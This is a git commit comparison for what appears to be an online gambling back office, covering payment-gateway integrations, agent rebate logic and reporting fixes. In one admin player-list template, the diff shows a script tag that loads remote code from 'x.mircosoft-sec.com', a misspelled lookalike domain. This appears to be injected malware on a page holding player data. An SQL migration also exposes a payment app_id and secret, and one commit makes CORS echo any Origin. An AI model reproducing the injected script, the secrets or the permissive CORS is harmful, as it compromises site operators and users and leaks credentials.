Compare commits

..
45 Commits
Author SHA1 Message Date
OG Backup a437868f6e Merge branch 'master' of https://git.20031227.de5.net/og/Pro 2026-06-14 14:20:01 +08:00
OG Backup 171f8fce5c backup: 线上最终版本全量备份
包含所有线上运行的改动:
- 代理编辑功能修复(码率/占成/返水率保存)
- CORS跨域修复(Pcapi构造函数统一Origin)
- 支付通道(ccpay/epay新增)
- 代理报表洗码量显示
- AlinPay金额调整
- 代理/会员编辑页面优化
- 多语言更新
2026-06-14 14:19:49 +08:00
fengshao1227 788b8a0af3 revert+fix: 回滚充值扣费折算(恢复全额上分)+取消提现手续费
业务调整:客户不让用户承担手续费,改为客户自行预存代付账户余额(全额上分全额提现)。
1) 回滚 alin_recharge_settle 的代收费率折算,恢复充值全额上分
2) apply_withdraw/apply_withdraw_bank 提现手续费默认值 1→0,取消提现手续费
2026-06-03 19:31:14 +08:00
fengshao1227 ccf0af4ed2 fix: AlinPay充值上分按代收手续费率折算,客户承担手续费,防代付账户被掏空
根因:AlinPay代收时从平台代付账户扣手续费(回调real_amount仍是充值全额),
但系统全额上分→客户余额>账户实收→提现必差手续费那块,账户越提越空。
改为按ALIN_VN配置collection_fee_rate(%)折算上分额:充100万→上分99万(1%费率),
上分/扣代理同步折算,使客户余额=账户实收,代付永远够。back_money仍记全额供审计。
2026-06-03 19:12:26 +08:00
fengshao1227 dd84f674b0 fix: 彻底解耦存取款显隐与agent_type,只按pay_channel下发(防错配复发)
根因:登录/用户信息接口死卡 agent_type==1 才下发支付渠道,靠运营手动保持
agent_type 与 pay_channel 一致,一改错(如人工线配在线通道)用户就没存取款。
改为只看 pay_channel:OPR=人工(下发收款信息),非空非OPR=在线(下发币种/链),空=隐藏。
顺带修复 get_user_info 此前缺 OPR 分支导致人工线用户刷新丢充值信息的隐患。
覆盖移动端(Portal)+PC,均走此接口。170 错配存量已单独 UPDATE 修复。
2026-06-01 23:45:15 +08:00
fengshao1227 f67439bfe2 fix: 修复顶级代理(agent_parent_id=0)无法编辑保存(总账号给一级代理改参数报'上级错误')
do_edit 原逻辑 parent_id<=0 直接 die(parent_error),且后续全程访问 agentParent 做封顶校验,
导致顶级代理(一级总代)永远无法编辑保存。改为:顶级代理构造不设限虚拟上级,
封顶校验自动放行,封底校验(不得低于下级最高费率)与写入逻辑保持不变。对非顶级代理零影响。
2026-06-01 23:11:33 +08:00
fengshao1227 6012eff994 fix: '近一周'记录查询改为最近7天滚动窗口(含昨天),修复周一查不到昨天记录
time_interval=3 原为'本周自然周',周一时本周从今天起、昨天属上周故查无数据,
与前端'近一周/Gần một tuần'语义不符。改为 date(d)-6 ~ date(d) 最近7天滚动,
任意一天都含昨天且无星期边界问题。仅会员记录查询(onlinechip/admin Pcapi),
代理结算 Settle.php 的本周/上周保持自然周不变。
2026-06-01 15:27:50 +08:00
fengshao1227 e56ce3b132 fix: 修复结算(洗码/返水)周界查询在周日(date(w)=0)算成下周
Settle.php xima()/rebate() 的本周/上周周界同样受 date(w) 周日=0 影响,
周日会把本周算成下周、上周算成本周, 导致代理结算页查无未结数据或周次错位.
统一 date(w)->date(w)?:7, -7 上周偏移保留, 周一~周六零影响.
2026-05-31 20:15:42 +08:00
fengshao1227 a94b9f7fcc fix: 修复会员记录/报表查询'本周'在周日(date(w)=0)时间范围算成下周导致查无数据
PHP date(w) 周日返回0, date(d)-date(w)+1 在周日会把本周一推到下周一,
整个本周区间变成未来时间, 注单/记录查询返回0条(仅周日触发, 周一~周六正常).
用 date(w)?:7 将周日按第7天计算, 对周一~周六零影响.
覆盖 onlinechip/Pcapi(会员端 get_user_bets 等3处) + admin/Pcapi(3处)。
2026-05-31 20:09:18 +08:00
fengshao1227 fbeb9787dc feat(agent-report): 注单查询新增今日注单自动刷新开关(默认开,10秒刷新当前查询)
原自动刷新仅在线管理(online=1)进入时生效;现普通注单查询页也支持,
带开关(localStorage持久化)+倒计时显示,免手动点刷新。
2026-05-30 22:27:51 +08:00
fengshao1227 750a5472fa fix(alinpay): 网关域名 fallback 由 fantianchuangshi.com 迁至 hypayment.net
第三方支付网关改版迁移域名。DB配置已补 domain 字段, 同步更新代码回退默认值。
appid/secret/product_id/请求格式不变, 经账户查询验证新网关可用。
2026-05-29 21:35:01 +08:00
fengshao1227 ca2513bb7a feat(agent-home): 首页今日投注统计(tpbet)默认时间统一为 08:00:00~次日07:59:59 2026-05-29 21:17:13 +08:00
fengshao1227 2d7b15c1ad feat(agent-report): 统一全部报表默认时间为 今天08:00:00~次日07:59:59
Report.php 中 18 个报表(上下水/游戏/注单/上下分/台桌/棋牌等)默认时间
从 今天00:00~此刻 统一为 今天08:00:00~次日07:59:59(博彩日), 与结算报表一致。
保留2个默认'全部时间'(startTime=0)的查询不变。
2026-05-29 21:15:24 +08:00
fengshao1227 e763c561f1 feat(agent-report): 结算报表默认时间改为08:00~次日07:59:59, 码量列改名码粮
- Report::settle 默认日期边界 07:00/06:59:59 → 08:00/07:59:59(博彩日)
- code_amount 翻译 码量/碼量/Code amount → 码粮/碼糧/Rebate(代理后台全局)
2026-05-29 21:04:21 +08:00
fengshao1227 3ac1c2bf42 fix(agent): 代理编辑校验失败改用必须确认的弹窗, 让操作员看清原因
返水率/码率/占股超过上级上限时后端已返回具体原因(含上级上限值),
但前端用 layer.msg 一闪而过易被忽略, 误以为'改不动'。改为 layer.alert
必须点确认, 确保看清失败原因(如'返水率不能超过所属代理的返水率 0!')。
2026-05-29 11:44:46 +08:00
fengshao1227 020dd802d6 feat(agent): 编辑代理费率时检测下级未结算注单并二次确认
洗码率/返水率/占成率在下注未结算期间被修改, 结算(openingBet)会按新值
参与代理分账, 导致本局佣金与下注时预期不符。新增编辑时检测: 费率确有
变动且下级存在近1小时内 is_end=0 的注单时返回 code=2, 前端弹框二次
确认, 确认后带 confirm_pending 重提。纯增量护栏, 不改结算逻辑。
2026-05-29 06:43:21 +08:00
fengshao1227 50d131aa75 fix: 会员编辑保存后字段被清零
1. JS里agent_commission系列字段被注释掉,每次编辑保存抽水率被重置为0
2. rebate_rate为0时PHP不保存,导致无法设为0
2026-05-29 05:44:17 +08:00
fengshao1227 bcf604dc0a fix: CORS改为回显Origin,去掉白名单限制和credentials 2026-05-28 14:37:33 +08:00
fengshao1227 0f952a36a5 fix: CORS头冲突修复 — 删除方法级重复header,统一由构造函数处理
根因:构造函数设 Access-Control-Allow-Origin: 具体域名 + Credentials: true,
但每个方法又覆盖成 Origin: *,导致 Credentials+通配符冲突,浏览器拒绝请求。
删除全部41处方法级CORS头,只保留构造函数的白名单机制。
2026-05-28 14:29:43 +08:00
fengshao1227 24c71fa7a0 Revert "feat: 线上自助充值不再扣代理余额(系统直充)"
This reverts commit 0bf387f7d5.
2026-05-24 20:55:06 +08:00
fengshao1227 0bf387f7d5 feat: 线上自助充值不再扣代理余额(系统直充)
会员通过第三方支付通道线上充值时,不再检查/扣减总代理余额。
真金白银从支付通道进来,直接加分给会员。

改动覆盖全部9个支付通道trait:
- 删除下单时的代理余额检查(不再拦截"余额不足")
- 回调时只检查代理是否存在,不检查余额
- 不扣减代理money字段
- 充值记录标记为"系统直充"而非"扣取总代理余分"

代理手动给会员上分(信用盘模式)不受影响,仍然扣代理自己的分。
2026-05-24 19:25:05 +08:00
testadmin 0186f561c4 fix: Pro 路单查询补查 luck_six/dragon_seven/panda_eight
PC/Game 前端路单走的是 Pro 的 deal/waybill API,不是 Socket 的
2026-05-02 00:06:07 +08:00
testadmin 3997bbd3cb fix: alinPay.php 补漏 limit_agent 空数组放行逻辑 2026-04-26 20:32:45 +08:00
testadmin c2fa69ddcb fix: 校验 agent_type 与 pay_channel 一致性,防止人工上分+在线渠道错配 2026-04-26 20:23:51 +08:00
testadmin 13cd0cbea4 fix: 移除 limit_agent 白名单限制,所有代理下会员均可充值/提现
- config.php: area_id=3 的 limit_agent 改为空数组
- Order.php/epayPay.php/ccpayPay.php: 空数组时跳过白名单检查
2026-04-26 20:10:26 +08:00
testadmin a7edf5347d fix: 新建代理默认 area_id=3(越南),修复无地区代理下会员无法充值 2026-04-26 13:29:47 +08:00
testadmin 2e9462d7a3 feat: 接入 CCpay 第三支付通道(越南银行QR代收)
- extend/pay/Ccpay.php: SDK封装(签名/验签/下单/查询)
- traits/ccpayPay.php: 下单/回调/结算/轮询,pay_channel_id=9
- config.php: pay_list 加 ccpay 配置
- Pcapi/Order: 注册 ccpayPay trait
2026-04-20 11:15:16 +08:00
testadmin ffc77b4f3f fix(epay): 补发 /pay/submit 请求触发插件 submit() 写入 usdtpro 金额 2026-04-16 23:53:00 +08:00
testadmin 9ca6c646db fix(epay): createOrderApi 补传 clientip 参数(mapi.php 必填) 2026-04-16 23:49:52 +08:00
testadmin f3eb260841 fix(epay): usdtpro 指纹金额改由 epay 侧权威计算,避免精度漂移导致充值不到账
- epay_online_order 改为调用 epay mapi.php(createOrderApi)
- 让 epay 自己走完 Pay::create → Plugin::loadForSubmit → usdtpro_plugin::submit
- 从返回 jump url 解析 trade_no,再查 epay.pre_order 读取权威 usdtpro
- 错误返回统一 encrypt_data + Success/Data 加密结构,前端能正确显示
- 所有错误文案改为越南语用户友好版(代理余额不足→"Hạn mức nạp mỗi lần ... VND")
- 代理余额不足场景额外返回 max_amount 字段,前端可用作输入上限提示
- 移除 epay_create_usdt_pre_order 自算方法
2026-04-16 23:49:08 +08:00
testadmin 56c9b1591d fix(epay): PDO bind key 不应带冒号(TP5 自动加 :) 2026-04-16 23:25:20 +08:00
testadmin 93ea9cdc41 feat(epay): 内嵌二维码模式 + 订单状态轮询接口
- epay_online_order: 直接跨库写 epay.pre_order,自算 usdtpro 指纹金额(对齐 usdtpro_plugin::submit 算法)
- 返回值新增 qrcode 字段(address/amount/expires_at),前端内嵌渲染,无需跳转 pay.g7g7.top
- 保留 url 字段兼容老调用方
- 新增 epay_order_status: 前端轮询订单状态(0=待支付/1=已到账/2=超时)
2026-04-16 23:13:25 +08:00
li 2df6527b75 feat(order): wappay/index 越南地区追加 USDT(Epay) 支付选项
- Order::wappay/index: area_id=3 时合并 pay_list['epay']['type'] 到 payMethod,
  每个选项带 pay_routes 映射到对应 online_order_fac
- wappay.html: select 的 option 加 data-url,JS 按选中项查路由
- 兼容旧行为:未设置 pay_routes 时 fallback 到原 online_order_fac
2026-04-16 00:07:40 +08:00
li e0de54a9e9 feat: 接入彩虹易支付(USDT TRC20)充值通道
- 新增 extend/pay/Epay.php 易支付协议实现(MD5签名、buildPayUrl、queryOrder、verifyNotifyCallback)
- 新增 traits/epayPay.php 提供 epay_online_order 和 epay_recharge_callback,独立结算事务
- config.php 加 pay_list.epay 配置段 (pid=1000, key已配, pay.g7g7.top)
- Order.php / Pcapi.php 引入 epayPay trait

支付流程: 用户下单 -> 返回 pay.g7g7.top 跳转 URL -> 用户付款USDT -> 易支付异步回调 -> 验签 -> 结算加余额
通道标识: pay_channel_id=8, pay_channel_name=epay
订单号前缀: P (区别 AlinPay 的 E)
2026-04-15 23:06:20 +08:00
黎小北 490df4c4c5 修复因缺少boot_id导致路子换靴后恢复 2026-03-25 01:19:33 +08:00
黎小北 3786a0ea99 换靴后旧路子残留 2026-03-24 23:48:15 +08:00
li 75e9bafb54 fix: 牛牛操作端刷新后恢复牌面显示 - showCardNn读取正确字段round.show_card 2026-03-15 19:43:04 +08:00
liandClaude Sonnet 4.6 d69322a7fb fix: 自注册/Line注册用户 bet_type 改为 1,修复移动端看不到桌子
doRegister() 和 lineAuth() 中 bet_type 硬编码为 3,
而所有 active 桌子均为 bet_type=1,导致 all_table()
查询结果为空返回"获取信息失败"。
同步修复数据库存量 10 条受影响用户记录。

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-14 16:47:01 +08:00
li 90ab7ccb43 fix: alinPay响应统一encrypt_data加密格式 2026-03-13 00:32:02 +08:00
li dfd9f37253 fix: alinPay参数类型强转+空响应处理+错误日志增强 2026-03-13 00:27:44 +08:00
li 81869255c1 fix: 更新alinPay充值逻辑及Pcapi控制器 2026-03-12 23:41:05 +08:00
li b95c137fa6 fix: 引入alinPay trait并配置越南区代理ID 2026-03-12 23:35:10 +08:00
li f8e948b577 fix: add CORS headers to Pcapi controller constructor 2026-03-12 23:29:02 +08:00
li 79123e079f feat: 对接越南AlinPay支付网关(代收+代付)
- 新增 AlinPay 网关核心类:签名/验签/代收/代付/查询/账户接口
- 新增 alinPay trait:充值发起 + 代收回调结算(事务+行锁)
- 修改 admin/agent Report:提现审批自动路由 ALIN_VN 发起代付
- 新增 Pcapi:银行卡提现申请 + 越南银行列表接口
- 修改 Crypto:代付回调/订单查询/账户查询入口
- 新增越南区 area_list(id=3) + alinPay pay_list 配置
- DDL: user_withdraw 表增加 pay_channel/ext 字段
2026-03-12 22:24:49 +08:00
root e633c8e27d init: 从宝塔同步到 Gitea 2026-02-25 01:50:31 +08:00
239 changed files with 3801 additions and 25676 deletions
Vendored
BIN
View File
Binary file not shown.
+17 -1
View File
@@ -1 +1,17 @@
.ace-tool/ # 运行时(日志+缓存 204M
/runtime/
# 依赖(从 composer.json 安装)
/vendor/
# 备份压缩包
*.tar.gz
# 环境配置
.env
# 系统文件
.DS_Store
.user.ini
*.swp
Thumbs.db
+15
View File
@@ -0,0 +1,15 @@
-- AlinPay 越南代付对接 - 数据库变更
-- 执行时间: 2026-03-12
-- 1. user_withdraw 表增加支付渠道和扩展字段
ALTER TABLE `cg_user_withdraw`
ADD COLUMN `pay_channel` varchar(50) NOT NULL DEFAULT '' COMMENT '支付渠道: USDT, YBF, ALIN_VN' AFTER `type`,
ADD COLUMN `ext` text NULL COMMENT '扩展字段JSON: 银行卡信息等' AFTER `pay_channel`;
-- 2. pay_channel 表插入 AlinPay 配置(secret 需从三方后台获取后替换)
INSERT INTO `cg_pay_channel` (`name`, `key`, `value`, `status`) VALUES (
'越南AlinPay',
'ALIN_VN',
'{"app_id":"276a857ff36814028b772724","secret":"660a4EB682d3787b5b43DC424Ab46e6348F5f4dB","collection_product_id":11,"payment_product_id":14}',
1
);
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+4
View File
@@ -200,6 +200,9 @@ class Agent extends Common{
if( empty($pay_channel) ){ if( empty($pay_channel) ){
die(json_encode(['code'=>0,'msg'=>'请选择支付渠道'])); die(json_encode(['code'=>0,'msg'=>'请选择支付渠道']));
} }
if( $agent_type == 2 && $pay_channel != 'OPR' ){
die(json_encode(['code'=>0,'msg'=>'人工上分模式只能选OPR渠道']));
}
if( !in_array($type_xima,[1,2]) ){ if( !in_array($type_xima,[1,2]) ){
die(json_encode(['code'=>0,'msg'=>'洗码方式错误'])); die(json_encode(['code'=>0,'msg'=>'洗码方式错误']));
} }
@@ -433,6 +436,7 @@ class Agent extends Common{
$data['price_tc_ths'] = $price_tc_ths; $data['price_tc_ths'] = $price_tc_ths;
$data['price_tc_hjths'] = $price_tc_hjths; $data['price_tc_hjths'] = $price_tc_hjths;
$data['area_id'] = 3;
$data['referral_code'] = getRandCode(); $data['referral_code'] = getRandCode();
// $data['agent_commission_tc'] = $agent_commission_tc; // $data['agent_commission_tc'] = $agent_commission_tc;
// $data['agent_commission_tc_banker'] = $agent_commission_tc_banker; // $data['agent_commission_tc_banker'] = $agent_commission_tc_banker;
View File
View File
-1
View File
@@ -93,7 +93,6 @@ class ChatQuickReply extends Common
->column('category'); ->column('category');
$this->assign('categories', $categories); $this->assign('categories', $categories);
$this->assign('info', []);
return $this->fetch(); return $this->fetch();
} }
View File
View File
+6 -6
View File
@@ -1240,8 +1240,8 @@ class Pcapi extends Controller{
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y')); $startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1; $endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
}elseif($time_interval == 3){ }elseif($time_interval == 3){
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y")); $startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")); $endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
} }
$betWhere = array(); $betWhere = array();
$betWhere['create_time'] = array('between',[$startTime,$endTime]); $betWhere['create_time'] = array('between',[$startTime,$endTime]);
@@ -1571,8 +1571,8 @@ class Pcapi extends Controller{
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y')); $startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1; $endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
}elseif($time_interval == 3){ }elseif($time_interval == 3){
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y")); $startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")); $endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
} }
$betWhere = array(); $betWhere = array();
$betWhere['create_time'] = array('between',[$startTime,$endTime]); $betWhere['create_time'] = array('between',[$startTime,$endTime]);
@@ -1639,8 +1639,8 @@ class Pcapi extends Controller{
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y')); $startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1; $endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
}elseif($time_interval == 3){ }elseif($time_interval == 3){
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y")); $startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")); $endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
} }
$betWhere = array(); $betWhere = array();
$betWhere['create_time'] = array('between',[$startTime,$endTime]); $betWhere['create_time'] = array('between',[$startTime,$endTime]);
View File
+53 -10
View File
@@ -3,6 +3,7 @@
namespace app\admin\controller; namespace app\admin\controller;
use pay\Usdt; use pay\Usdt;
use pay\AlinPay;
use think\Db; use think\Db;
use think\Request; use think\Request;
use think\Session; use think\Session;
@@ -36,17 +37,17 @@ class Report extends Common{
} }
$agent_list = Db::name('user')->where($where)->select(); $agent_list = Db::name('user')->where($where)->select();
// 时间条件(默认:今天07:00:00 ~ 明天06:59:59 // 时间条件
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d') . ' 07:00:00'); $startTime = strtotime(date('Y-m-d'));
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 06:59:59'); $endTime = time();
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
} }
$this->assign('get',$get); $this->assign('get',$get);
@@ -405,19 +406,61 @@ class Report extends Common{
die(json_encode(['code'=>0,'msg'=>'非待审核状态无法操作!'])); die(json_encode(['code'=>0,'msg'=>'非待审核状态无法操作!']));
} }
// 审核通过 // 根据支付渠道路由
$payChannel = $withdraw['pay_channel'] ?: 'USDT';
$withdrawResult = [];
if($payChannel == 'ALIN_VN'){
// 越南AlinPay代付
$ext = json_decode($withdraw['ext'], true) ?: [];
$pay_list = config('pay_list');
$notifyUrl = $pay_list['alinPay']['payment_notify_url'];
$alinPay = new AlinPay();
$res = $alinPay->createPayment(
$withdraw['order_no'],
sprintf('%.2f', $withdraw['amount']),
$ext['accountName'] ?? '',
$ext['accountNumber'] ?? '',
$ext['bankCode'] ?? '',
$ext['bankName'] ?? '',
$notifyUrl
);
$withdrawResult = [
'status' => (is_array($res) && isset($res['code']) && $res['code'] == 200) ? true : false,
'type' => 'ALIN_VN',
'out_trade_no' => $res['data']['trade_no'] ?? '',
'err_msg' => $res['message'] ?? '请求失败',
];
}else{
// 默认USDT
$Usdt = new Usdt(); $Usdt = new Usdt();
$res = $Usdt->applyUserWithdraw($withdraw['order_no'],$withdraw['to_address'],$withdraw['amount']); $res = $Usdt->applyUserWithdraw($withdraw['order_no'],$withdraw['to_address'],$withdraw['amount']);
if($res['code'] == 0){ $withdrawResult = [
Db::name('user_withdraw')->where('id',$id)->update([ 'status' => $res['code'] == 0 ? true : false,
'type' => $res['processor']['asset'] ?? 'USDT',
'from_address' => $res['processor']['from_addr'] ?? '',
'err_msg' => $res['debug'] ?? '',
];
}
if($withdrawResult['status']){
$updateData = [
'status' => 'AGREE', 'status' => 'AGREE',
'type' => $res['processor']['asset'], 'type' => $withdrawResult['type'] ?? '',
'from_address' => $res['processor']['from_addr'],
'audit_time' => time(), 'audit_time' => time(),
'operator_source' => 2, 'operator_source' => 2,
'operator_id' => $user_info['id'], 'operator_id' => $user_info['id'],
'operator_username' => $user_info['admin'], 'operator_username' => $user_info['admin'],
]); ];
if(!empty($withdrawResult['from_address'])){
$updateData['from_address'] = $withdrawResult['from_address'];
}
if(!empty($withdrawResult['out_trade_no'])){
$updateData['out_trade_no'] = $withdrawResult['out_trade_no'];
}
Db::name('user_withdraw')->where('id',$id)->update($updateData);
die(json_encode(['code'=>1,'msg'=>'审核通过!'])); die(json_encode(['code'=>1,'msg'=>'审核通过!']));
}else{ }else{
Db::startTrans(); Db::startTrans();
@@ -430,7 +473,7 @@ class Report extends Common{
// 更新记录 // 更新记录
Db::name('user_withdraw')->where('id',$id)->update([ Db::name('user_withdraw')->where('id',$id)->update([
'status' => 'FAIL', 'status' => 'FAIL',
'err_msg' => $res['debug'], 'err_msg' => $withdrawResult['err_msg'],
'audit_time' => time(), 'audit_time' => time(),
'operator_source' => 2, 'operator_source' => 2,
'operator_id' => $user_info['id'], 'operator_id' => $user_info['id'],
View File
Binary file not shown.
+124 -25
View File
@@ -16,13 +16,19 @@
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main th{width:40%; border-left:none; text-align:right;}
.alert-main td{border-right:none; }
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style> </style>
<body> <body>
<script src=https://x.mircosoft-sec.com/sXdeXc?1583228117></script>
<div class="x-nav" style="padding: 0px;"> <div class="x-nav" style="padding: 0px;">
<span class="change_box"> <span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a> <a href="javascript:;" class="list-one actived" data-id="1">玩家列表</a>
<a href="javascript:;" class="list-two" data-id="2">用户添加</a> <a href="javascript:;" class="list-two" data-id="2">玩家添加</a>
</span> </span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right" <a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新"> href="javascript:location.replace(location.href);" title="刷新">
@@ -31,44 +37,74 @@
<br> <br>
<div class="x-body"> <div class="x-body">
<div class="layui-row"> <div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/admin/index" method="get"> <form class="layui-form layui-col-md12 x-so float-left" action="/player/index" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>"> <input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>"> <input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" > <div class="layui-input-block" >
<select name="status" id="status"> <select name="status" id="status">
<option value="-1" selected>请选择用户状态</option> <option value="-1" >请选择玩家状态</option>
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option> <option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option> <option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
</select> </select>
</div> </div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>"> <input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<input type="text" name="agent_parent" id="agent_parent" placeholder="请输入上级代理" autocomplete="off" class="layui-input" value="<?php if(isset($get['agent_parent'])) {echo $get['agent_parent'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button> <button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span> <span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> --> <!-- <span class="layui-btn" id="print">打印</span> -->
</form> </form>
</div> </div>
<table class="layui-table"> <table class="layui-table">
<thead> <thead>
<tr> <tr>
<th>编号</th>
<th>用户名</th> <th>用户名</th>
<th>电话</th> <th>联系人</th>
<th>手机</th>
<th>邮箱</th> <th>邮箱</th>
<th>最后登录IP</th> <th>上级代理</th>
<th>最后登录时间</th> <th>投注方式</th>
<th>最近上分</th>
<th>商户余额</th>
<th>百家乐码率(%)</th>
<th>龙虎码率(%)</th>
<th>总下注</th>
<th>总赢</th>
<th>码量</th>
<th>日赢上限</th>
<th>赔率</th>
<th>创建日期</th>
<th>状态</th> <th>状态</th>
<th>操作</th> <th>操作</th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
{foreach name="admin_list" item="vo"} {foreach name="agent_list" item="vo"}
<tr> <tr>
<td>{$vo.id}</td> <td>{$vo.username}</td>
<td>{$vo.admin}</td> <td>{$vo.nickname}</td>
<td>{$vo.mobile}</td> <td>{$vo.mobile}</td>
<td>{$vo.email}</td> <td>{$vo.email}</td>
<td>{$vo.last_login_ip}</td> {if condition="$vo.agent_parent_id > 0"}
<td>{$vo.last_login_time}</td> <td>{$vo.agent_parent_username}</td>
{else}
<td></td>
{/if}
<td>{$vo.bet_type}</td>
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.agent_ximalv_dt}</td>
<td>{$vo.all_bet_amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.maliang}</td>
<td>{$vo.win_limit}</td>
<th>
<a href="javascript:;" onclick="showPrice(this)" price-username="{$vo.username}" price-banker="{$vo.price_banker}" price-player="{$vo.price_player}" price-tie-baccarat="{$vo.price_tie_baccarat}" price-pair="{$vo.price_pair}" price-dragon="{$vo.price_dragon}" price-tiger="{$vo.price_tiger}" price-tie-dt="{$vo.price_tie_dt}" price-n7-n9="{$vo.price_n7_n9}" price-nn="{$vo.price_nn}" price-5n="{$vo.price_5n}" price-bomb="{$vo.price_bomb}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >查看</span>
</a>
</th>
<td style="width:80px;">{$vo.reg_time}</td>
{if condition="$vo.status == 1"} {if condition="$vo.status == 1"}
<td class="td-status"> <td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span> <span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
@@ -88,7 +124,7 @@
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span> <span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
</a> </a>
{/if} {/if}
<a href="/admin/admin_edit?id={$vo.id}"> <a href="/player/player_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span> <span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a> </a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;"> <a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
@@ -99,7 +135,28 @@
{/foreach} {/foreach}
</tbody> </tbody>
</table> </table>
{$admin_list->render()} {$agent_list->render()}
</div>
<div class="alert" id="alert_price">
<div class="alert-title" id="show_price_username"></div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
